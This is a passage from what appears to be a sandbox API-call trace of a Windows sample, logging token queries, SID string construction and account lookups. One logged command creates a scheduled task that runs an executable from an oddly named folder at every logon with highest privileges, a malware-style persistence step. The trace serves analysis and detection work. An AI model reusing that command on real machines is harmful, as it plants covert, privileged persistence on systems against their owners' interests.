TokenInformation=0x2ae2e0, ReturnLength=0xe7cbf8) returned 1 [0126.741] IsValidSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0126.741] GetLengthSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0126.741] malloc (_Size=0x1c) returned 0x2affd0 [0126.741] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2affd0, pSourceSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2affd0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0126.741] GetSidIdentifierAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f2 [0126.741] malloc (_Size=0x18) returned 0x2af0c0 [0126.742] _ultow (in: _Dest=0x5, _Radix=15190480 | out: _Dest=0x5) returned="5" [0126.742] malloc (_Size=0x18) returned 0x2af000 [0126.742] malloc (_Size=0x18) returned 0x2af120 [0126.742] SysStringLen (param_1="S-1-") returned 0x4 [0126.742] SysStringLen (param_1="5") returned 0x1 [0126.742] memcpy (in: _Dst=0x126f48, _Src=0x1196b8, _Size=0xa | out: _Dst=0x126f48) returned 0x126f48 [0126.742] memcpy (in: _Dst=0x126f50, _Src=0x1619a8, _Size=0x4 | out: _Dst=0x126f50) returned 0x126f50 [0126.742] free (_Block=0x2af0c0) [0126.742] free (_Block=0x2af000) [0126.742] GetSidSubAuthorityCount (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f1 [0126.743] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2f8 [0126.743] _ultow (in: _Dest=0x15, _Radix=15190480 | out: _Dest=0x15) returned="21" [0126.743] malloc (_Size=0x18) returned 0x2af000 [0126.743] malloc (_Size=0x18) returned 0x2af0c0 [0126.743] SysStringLen (param_1="S-1-5") returned 0x5 [0126.743] SysStringLen (param_1="-") returned 0x1 [0126.743] memcpy (in: _Dst=0x1619a8, _Src=0x126f48, _Size=0xc | out: _Dst=0x1619a8) returned 0x1619a8 [0126.743] memcpy (in: _Dst=0x1619b2, _Src=0x1196b8, _Size=0x4 | out: _Dst=0x1619b2) returned 0x1619b2 [0126.743] free (_Block=0x2af120) [0126.743] free (_Block=0x2af000) [0126.743] malloc (_Size=0x18) returned 0x2af000 [0126.743] malloc (_Size=0x18) returned 0x2af120 [0126.743] SysStringLen (param_1="S-1-5-") returned 0x6 [0126.744] SysStringLen (param_1="21") returned 0x2 [0126.744] memcpy (in: _Dst=0x1196b8, _Src=0x1619a8, _Size=0xe | out: _Dst=0x1196b8) returned 0x1196b8 [0126.744] memcpy (in: _Dst=0x1196c4, _Src=0x126f48, _Size=0x6 | out: _Dst=0x1196c4) returned 0x1196c4 [0126.744] free (_Block=0x2af0c0) [0126.744] free (_Block=0x2af000) [0126.744] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2fc [0126.744] _ultow (in: _Dest=0xfb7f942f, _Radix=15190480 | out: _Dest=0xfb7f942f) returned="4219442223" [0126.744] malloc (_Size=0x18) returned 0x2af000 [0126.744] malloc (_Size=0x18) returned 0x2af0c0 [0126.744] SysStringLen (param_1="S-1-5-21") returned 0x8 [0126.744] SysStringLen (param_1="-") returned 0x1 [0126.744] memcpy (in: _Dst=0x126f48, _Src=0x1196b8, _Size=0x12 | out: _Dst=0x126f48) returned 0x126f48 [0126.744] memcpy (in: _Dst=0x126f58, _Src=0x1619a8, _Size=0x4 | out: _Dst=0x126f58) returned 0x126f58 [0126.745] free (_Block=0x2af120) [0126.745] free (_Block=0x2af000) [0126.745] malloc (_Size=0x18) returned 0x2af000 [0126.745] malloc (_Size=0x18) returned 0x2af120 [0126.745] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0126.745] SysStringLen (param_1="4219442223") returned 0xa [0126.745] memcpy (in: _Dst=0x1175e8, _Src=0x126f48, _Size=0x14 | out: _Dst=0x1175e8) returned 0x1175e8 [0126.745] memcpy (in: _Dst=0x1175fa, _Src=0x1196b8, _Size=0x16 | out: _Dst=0x1175fa) returned 0x1175fa [0126.745] free (_Block=0x2af0c0) [0126.745] free (_Block=0x2af000) [0126.745] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae300 [0126.745] _ultow (in: _Dest=0xfbc24a41, _Radix=15190480 | out: _Dest=0xfbc24a41) returned="4223814209" [0126.745] malloc (_Size=0x18) returned 0x2af000 [0126.746] malloc (_Size=0x18) returned 0x2af0c0 [0126.746] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0126.746] SysStringLen (param_1="-") returned 0x1 [0126.746] memcpy (in: _Dst=0x118268, _Src=0x1175e8, _Size=0x28 | out: _Dst=0x118268) returned 0x118268 [0126.746] memcpy (in: _Dst=0x11828e, _Src=0x126f48, _Size=0x4 | out: _Dst=0x11828e) returned 0x11828e [0126.746] free (_Block=0x2af120) [0126.746] free (_Block=0x2af000) [0126.746] malloc (_Size=0x18) returned 0x2af000 [0126.746] malloc (_Size=0x18) returned 0x2af120 [0126.746] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0126.746] SysStringLen (param_1="4223814209") returned 0xa [0126.746] memcpy (in: _Dst=0x12da28, _Src=0x118268, _Size=0x2a | out: _Dst=0x12da28) returned 0x12da28 [0126.746] memcpy (in: _Dst=0x12da50, _Src=0x126f48, _Size=0x16 | out: _Dst=0x12da50) returned 0x12da50 [0126.746] free (_Block=0x2af0c0) [0126.746] free (_Block=0x2af000) [0126.746] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae304 [0126.746] _ultow (in: _Dest=0xe49636b4, _Radix=15190480 | out: _Dest=0xe49636b4) returned="3835049652" [0126.746] malloc (_Size=0x18) returned 0x2af000 [0126.746] malloc (_Size=0x18) returned 0x2af0c0 [0126.746] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0126.747] SysStringLen (param_1="-") returned 0x1 [0126.747] memcpy (in: _Dst=0x12d918, _Src=0x12da28, _Size=0x3e | out: _Dst=0x12d918) returned 0x12d918 [0126.747] memcpy (in: _Dst=0x12d954, _Src=0x126f48, _Size=0x4 | out: _Dst=0x12d954) returned 0x12d954 [0126.747] free (_Block=0x2af120) [0126.747] free (_Block=0x2af000) [0126.747] malloc (_Size=0x18) returned 0x2af000 [0126.747] malloc (_Size=0x18) returned 0x2af120 [0126.747] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0126.747] SysStringLen (param_1="3835049652") returned 0xa [0126.747] memcpy (in: _Dst=0x12da28, _Src=0x12d918, _Size=0x40 | out: _Dst=0x12da28) returned 0x12da28 [0126.747] memcpy (in: _Dst=0x12da66, _Src=0x126f48, _Size=0x16 | out: _Dst=0x12da66) returned 0x12da66 [0126.747] free (_Block=0x2af0c0) [0126.747] free (_Block=0x2af000) [0126.747] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae308 [0126.747] _ultow (in: _Dest=0x3e8, _Radix=15190480 | out: _Dest=0x3e8) returned="1000" [0126.747] malloc (_Size=0x18) returned 0x2af000 [0126.747] malloc (_Size=0x18) returned 0x2af0c0 [0126.747] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0126.747] SysStringLen (param_1="-") returned 0x1 [0126.747] memcpy (in: _Dst=0x12d918, _Src=0x12da28, _Size=0x54 | out: _Dst=0x12d918) returned 0x12d918 [0126.747] memcpy (in: _Dst=0x12d96a, _Src=0x126f48, _Size=0x4 | out: _Dst=0x12d96a) returned 0x12d96a [0126.748] free (_Block=0x2af120) [0126.748] free (_Block=0x2af000) [0126.748] malloc (_Size=0x18) returned 0x2af000 [0126.748] malloc (_Size=0x18) returned 0x2af120 [0126.748] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0126.748] SysStringLen (param_1="1000") returned 0x4 [0126.748] memcpy (in: _Dst=0x12da28, _Src=0x12d918, _Size=0x56 | out: _Dst=0x12da28) returned 0x12da28 [0126.748] memcpy (in: _Dst=0x12da7c, _Src=0x126f48, _Size=0xa | out: _Dst=0x12da7c) returned 0x12da7c [0126.748] free (_Block=0x2af0c0) [0126.748] free (_Block=0x2af000) [0126.748] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0126.748] malloc (_Size=0x5e) returned 0x2b08a0 [0126.748] free (_Block=0x2af120) [0126.748] malloc (_Size=0x18) returned 0x2af120 [0126.749] free (_Block=0x2b08a0) [0126.749] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 0 [0126.750] GetLastError () returned 0x7a [0126.750] malloc (_Size=0x14) returned 0x2af000 [0126.750] malloc (_Size=0x16) returned 0x2af0c0 [0126.750] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af000, cchName=0xe7ca94, ReferencedDomainName=0x2af0c0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name="kEecfMwgj", cchName=0xe7ca94, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 1 [0126.751] malloc (_Size=0x18) returned 0x2aefa0 [0126.751] malloc (_Size=0x18) returned 0x2aefc0 [0126.751] free (_Block=0x2af000) [0126.751] free (_Block=0x2af0c0) [0126.751] free (_Block=0x2affd0) [0126.751] free (_Block=0x2aefc0) [0126.751] free (_Block=0x2aefa0) [0126.751] free (_Block=0x2af120) [0126.751] free (_Block=0x2ae2e0) [0126.752] SetEvent (hEvent=0x1f0) returned 1 [0126.753] free (_Block=0x2ad270) [0126.753] CreateEnvironmentBlock () returned 0x1 [0126.763] memcpy (in: _Dst=0xe7cd00, _Src=0xe7dad0, _Size=0x68 | out: _Dst=0xe7cd00) returned 0xe7cd00 [0126.763] malloc (_Size=0x18) returned 0x2af120 [0126.763] CreateProcessAsUserW (in: hToken=0x2d0, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"whatever_only\" /sc ONLOGON /tr \"'C:\\comproviderRuntimecommon\\whatever_only.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x15b300, lpCurrentDirectory=0x0, lpStartupInfo=0xe7cd00*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe7cba0 | out: lpCommandLine="schtasks.exe /create /tn \"whatever_only\" /sc ONLOGON /tr \"'C:\\comproviderRuntimecommon\\whatever_only.exe'\" /rl HIGHEST /f", lpProcessInformation=0xe7cba0*(hProcess=0x248, hThread=0x24c, dwProcessId=0xeac, dwThreadId=0xeb0)) returned 1 [0126.767] CloseHandle (hObject=0x248) returned 1 [0126.767] CloseHandle (hObject=0x24c) returned 1 [0126.768] free (_Block=0x2af120) [0126.768] DestroyEnvironmentBlock () returned 0x1 [0126.768] malloc (_Size=0x48) returned 0x2ad270 [0126.768] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x1af99b20, dwHighDateTime=0x1d8a92a)) [0126.768] malloc (_Size=0x10) returned 0x2af120 [0126.768] SetEvent (hEvent=0x1f0) returned 1 [0126.768] CloseHandle (hObject=0x2dc) returned 1 [0126.768] CloseHandle (hObject=0x2d0) returned 1 [0126.864] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd960 [0126.864] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd960, pulNumLanguages=0xe7e2b0 | out: pulNumLanguages=0xe7e2b0) returned 1 [0126.864] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd960 | out: hHeap=0xc0000) returned 1 [0127.370] SetLastError (dwErrCode=0x0) [0127.370] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0127.370] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0127.370] SetLastError (dwErrCode=0x0) [0127.370] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0127.370] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd960 [0127.370] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0127.370] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12f3c0 [0127.370] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12f3c0, pulNumLanguages=0xe7e2b8 | out: pulNumLanguages=0xe7e2b8) returned 1 [0127.370] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12f3c0 | out: hHeap=0xc0000) returned 1 [0127.372] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0127.372] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0127.372] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0127.372] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0127.373] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0127.373] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0127.373] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0127.375] memcpy (in: _Dst=0xe7dad0, _Src=0xe7da50, _Size=0x68 | out: _Dst=0xe7dad0) returned 0xe7dad0 [0127.375] GetCurrentThread () returned 0xfffffffffffffffe [0127.375] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xe7cc40 | out: TokenHandle=0xe7cc40*=0x2d0) returned 1 [0127.375] malloc (_Size=0xd8) returned 0x2b35c0 [0127.375] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7fefe7b0000 [0127.375] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7fefe7f8200 [0127.375] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaQueryInformationPolicy") returned 0x7fefe7d20b0 [0127.375] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaNtStatusToWinError") returned 0x7fefe7f7e40 [0127.375] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaFreeMemory") returned 0x7fefe7be390 [0127.376] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaOpenPolicy") returned 0x7fefe7d0b40 [0127.376] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaClose") returned 0x7fefe7d2040 [0127.376] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="QueryServiceStatusEx") returned 0x7fefe7b7004 [0127.376] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DuplicateTokenEx") returned 0x7fefe7bd310 [0127.376] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetSecurityDescriptorControl") returned 0x7fefe7d3fe4 [0127.376] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7fefe7eb828 [0127.376] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7fefe7bf924 [0127.377] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CheckTokenMembership") returned 0x7fefe7bd980 [0127.377] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7fefe7eba94 [0127.377] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7fefe7eba30 [0127.377] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAuditAccessObjectAce") returned 0x7fefe7eb9a8 [0127.377] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefe7b89a0 [0127.377] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetNamedSecurityInfoW") returned 0x7fefe7bf990 [0127.377] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7fefe80dc00 [0127.377] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7fefe7f56a0 [0127.378] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7fefe7f56f0 [0127.378] malloc (_Size=0x18) returned 0x2af0e0 [0127.378] DuplicateTokenEx (in: hExistingToken=0x2d0, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xe7cc48 | out: phNewToken=0xe7cc48*=0x2dc) returned 1 [0127.378] malloc (_Size=0x48) returned 0x2ad220 [0127.378] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x1b4f4ca0, dwHighDateTime=0x1d8a92a)) [0127.378] SetEvent (hEvent=0x1f0) returned 1 [0127.378] GetTokenInformation (in: TokenHandle=0x2d0, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cb60 | out: TokenInformation=0x0, ReturnLength=0xe7cb60) returned 0 [0127.378] GetLastError () returned 0x7a [0127.378] malloc (_Size=0x2c) returned 0x2ae2a0 [0127.378] GetTokenInformation (in: TokenHandle=0x2d0, TokenInformationClass=0x1, TokenInformation=0x2ae2a0, TokenInformationLength=0x2c, ReturnLength=0xe7cb60 | out: TokenInformation=0x2ae2a0, ReturnLength=0xe7cb60) returned 1 [0127.378] IsValidSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0127.378] GetLengthSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0127.378] malloc (_Size=0x1c) returned 0x2affa0 [0127.378] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2affa0, pSourceSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2affa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0127.378] GetSidIdentifierAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b2 [0127.378] malloc (_Size=0x18) returned 0x2aefa0 [0127.378] _ultow (in: _Dest=0x5, _Radix=15190464 | out: _Dest=0x5) returned="5" [0127.378] malloc (_Size=0x18) returned 0x2aefc0 [0127.378] malloc (_Size=0x18) returned 0x2af0c0 [0127.378] SysStringLen (param_1="S-1-") returned 0x4 [0127.378] SysStringLen (param_1="5") returned 0x1 [0127.379] memcpy (in: _Dst=0x1618e8, _Src=0x126d68, _Size=0xa | out: _Dst=0x1618e8) returned 0x1618e8 [0127.379] memcpy (in: _Dst=0x1618f0, _Src=0x1398f8, _Size=0x4 | out: _Dst=0x1618f0) returned 0x1618f0 [0127.379] free (_Block=0x2aefa0) [0127.379] free (_Block=0x2aefc0) [0127.379] GetSidSubAuthorityCount (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b1 [0127.379] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2b8 [0127.379] _ultow (in: _Dest=0x15, _Radix=15190464 | out: _Dest=0x15) returned="21" [0127.379] malloc (_Size=0x18) returned 0x2aefc0 [0127.379] malloc (_Size=0x18) returned 0x2aefa0 [0127.379] SysStringLen (param_1="S-1-5") returned 0x5 [0127.379] SysStringLen (param_1="-") returned 0x1 [0127.379] memcpy (in: _Dst=0x1398f8, _Src=0x1618e8, _Size=0xc | out: _Dst=0x1398f8) returned 0x1398f8 [0127.379] memcpy (in: _Dst=0x139902, _Src=0x126d68, _Size=0x4 | out: _Dst=0x139902) returned 0x139902 [0127.379] free (_Block=0x2af0c0) [0127.379] free (_Block=0x2aefc0) [0127.379] malloc (_Size=0x18) returned 0x2aefc0 [0127.379] malloc (_Size=0x18) returned 0x2af0c0 [0127.379] SysStringLen (param_1="S-1-5-") returned 0x6 [0127.379] SysStringLen (param_1="21") returned 0x2 [0127.379] memcpy (in: _Dst=0x126d68, _Src=0x1398f8, _Size=0xe | out: _Dst=0x126d68) returned 0x126d68 [0127.379] memcpy (in: _Dst=0x126d74, _Src=0x1618e8, _Size=0x6 | out: _Dst=0x126d74) returned 0x126d74 [0127.379] free (_Block=0x2aefa0) [0127.380] free (_Block=0x2aefc0) [0127.380] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2bc [0127.380] _ultow (in: _Dest=0xfb7f942f, _Radix=15190464 | out: _Dest=0xfb7f942f) returned="4219442223" [0127.380] malloc (_Size=0x18) returned 0x2aefc0 [0127.380] malloc (_Size=0x18) returned 0x2aefa0 [0127.380] SysStringLen (param_1="S-1-5-21") returned 0x8 [0127.380] SysStringLen (param_1="-") returned 0x1 [0127.380] memcpy (in: _Dst=0x1618e8, _Src=0x126d68, _Size=0x12 | out: _Dst=0x1618e8) returned 0x1618e8 [0127.380] memcpy (in: _Dst=0x1618f8, _Src=0x1398f8, _Size=0x4 | out: _Dst=0x1618f8) returned 0x1618f8 [0127.380] free (_Block=0x2af0c0) [0127.380] free (_Block=0x2aefc0) [0127.380] malloc (_Size=0x18) returned 0x2aefc0 [0127.380] malloc (_Size=0x18) returned 0x2af0c0 [0127.380] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0127.380] SysStringLen (param_1="4219442223") returned 0xa [0127.380] memcpy (in: _Dst=0x1179a8, _Src=0x1618e8, _Size=0x14 | out: _Dst=0x1179a8) returned 0x1179a8 [0127.380] memcpy (in: _Dst=0x1179ba, _Src=0x126d68, _Size=0x16 | out: _Dst=0x1179ba) returned 0x1179ba [0127.380] free (_Block=0x2aefa0) [0127.380] free (_Block=0x2aefc0) [0127.380] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae2c0 [0127.380] _ultow (in: _Dest=0xfbc24a41, _Radix=15190464 | out: _Dest=0xfbc24a41) returned="4223814209" [0127.381] malloc (_Size=0x18) returned 0x2aefc0 [0127.381] malloc (_Size=0x18) returned 0x2aefa0 [0127.381] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0127.381] SysStringLen (param_1="-") returned 0x1 [0127.381] memcpy (in: _Dst=0x1182b8, _Src=0x1179a8, _Size=0x28 | out: _Dst=0x1182b8) returned 0x1182b8 [0127.381] memcpy (in: _Dst=0x1182de, _Src=0x1618e8, _Size=0x4 | out: _Dst=0x1182de) returned 0x1182de [0127.381] free (_Block=0x2af0c0) [0127.381] free (_Block=0x2aefc0) [0127.381] malloc (_Size=0x18) returned 0x2aefc0 [0127.381] malloc (_Size=0x18) returned 0x2af0c0 [0127.381] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0127.381] SysStringLen (param_1="4223814209") returned 0xa [0127.381] memcpy (in: _Dst=0x116238, _Src=0x1182b8, _Size=0x2a | out: _Dst=0x116238) returned 0x116238 [0127.381] memcpy (in: _Dst=0x116260, _Src=0x1618e8, _Size=0x16 | out: _Dst=0x116260) returned 0x116260 [0127.381] free (_Block=0x2aefa0) [0127.381] free (_Block=0x2aefc0) [0127.381] 